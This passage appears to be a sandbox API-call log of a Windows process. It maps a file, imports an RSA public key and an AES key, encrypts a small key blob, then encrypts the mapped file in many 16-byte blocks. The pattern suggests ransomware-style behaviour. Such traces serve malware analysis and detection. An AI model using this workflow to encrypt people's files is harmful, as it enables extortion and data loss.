lpOverlapped=0x0) returned 1 [0081.781] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31000, lpName=0x0) returned 0x3a4 [0081.782] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3450000 [0081.782] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0081.782] CloseHandle (hObject=0x3a4) returned 1 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.782] GetTickCount () returned 0x1154a63 [0081.783] GetTickCount () returned 0x1154a63 [0081.783] GetTickCount () returned 0x1154a63 [0081.783] GetTickCount () returned 0x1154a63 [0081.783] GetTickCount () returned 0x1154a63 [0081.783] GetTickCount () returned 0x1154a63 [0081.783] GetTickCount () returned 0x1154a63 [0081.783] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668928) returned 1 [0081.783] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639568) returned 1 [0081.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0081.783] CryptDestroyKey (hKey=0x1639568) returned 1 [0081.783] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0081.784] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31000, lpName=0x0) returned 0x3a4 [0081.784] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31000) returned 0x3450000 [0081.791] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668f00) returned 1 [0081.792] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16395e8) returned 1 [0081.792] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.792] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.793] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.794] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: 